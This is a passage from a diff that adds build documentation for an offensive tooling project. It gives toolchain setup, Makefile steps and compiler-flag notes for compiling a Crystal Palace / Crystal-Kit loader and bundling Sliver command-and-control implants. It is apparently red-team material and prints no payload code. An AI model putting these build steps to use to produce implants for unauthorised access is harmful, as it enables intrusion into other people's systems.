../crystal-loader.x64.dll +$(CC_64) $(CFLAGS) crystal-loader.c beacon_compatibility.c -o ../crystal-loader.x64.dll $(LDFLAGS) +``` + +**Verified output:** 114051 bytes, PE32+ x86-64, exports symbol `go`. + +A smoke test shellcode (`smoketest.asm`) builds in parallel: + +``` +nasm -f bin smoketest.asm -o ../build/smoketest.bin +# → 3 bytes: 31 c0 c3 (xor eax,eax; ret) +``` + +## 4. End-to-end timing on macOS Apple Silicon (reference) + +| Step | Elapsed | +|---|---| +| `apt`/`brew install mingw-w64 nasm openjdk@17` | ~3 min | +| Download `cpdist-latest.tgz` (1.8 MB) | ~5 s | +| `make -C loader all` | ~2 s | +| `make -C postex-loader all` | ~2 s | +| `make -C sliver-glue/wrapper all` | ~3 s | +| `./link` Crystal Palace run | ~1 s | +| `./bundle-implant.sh` (zip) | <1 s | + +## 5. One-time setup script (Kali / Debian / Ubuntu) + +```bash +#!/usr/bin/env bash +set -e + +# 1. Toolchain +sudo apt update +sudo apt install -y mingw-w64 nasm default-jdk make zip git curl + +# 2. Crystal Palace +mkdir -p external/crystalpalace +curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \ + | tar -xz -C external/crystalpalace/ +chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve} +export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist + +# 3. libtcg from upstream +git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck +cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/ +rm -rf /tmp/ck + +# 4. Verify +x86_64-w64-mingw32-gcc --version | head -1 +nasm --version +java -version +ls -la "$CRYSTAL_PALACE_HOME/crystalpalace.jar" crystal-kit-sliver/libtcg.x64.zip + +echo "Setup OK. Now: cd crystal-kit-sliver && make -C loader all && make -C postex-loader all" +``` + +## 6. Required environment variables + +| Variable | Required for | Default behaviour | +|---|---|---| +| `CRYSTAL_PALACE_HOME` | every script under `sliver-glue/` that calls `./link` | scripts exit with error if unset | +| `SLIVER_SERVER` | `generate-implant.sh --profile` mode only | defaults to `sliver-server` in `$PATH` | + +## 7. Known toolchain gotchas + +- macOS rosetta vs ARM64: brew installs native ARM binaries; the cross-compiled output is `x86-64` Windows PE so this works regardless. +- MinGW-w64 ≥ 13 introduces `-fcf-protection` defaults that can break PIC. The Makefiles pass `-shared -Wno-pointer-arith`, no extra hardening flags. If your distro pins a different MinGW build, verify with `make` first. +- `./link` and friends inside the Crystal Palace dist must be executable. The tarball usually preserves the bit, but after `tar -xz` some filesystems strip exec; fix with `chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}`. +- `libtcg.x64.zip` must be located at `crystal-kit-sliver/libtcg.x64.zip` (sibling of `loader/`). The spec files reference it as `../libtcg.x64.zip`. + +## 8. Compiler flags rationale + +The `-Wno-pointer-arith` flag is required because Crystal-Kit's loader code performs pointer arithmetic on `void*` (a GNU extension that GCC warns about by default but does not break). + +The `-shared` flag instructs the compiler to emit relocatable code suitable for being merged by Crystal Palace into a single position-independent blob. This does NOT produce a Windows DLL on its own — the actual `.o` outputs are intermediate. + +`-DWIN_X64` is consumed by `loader.h` to conditionally select 64-bit-specific struct layouts and macros.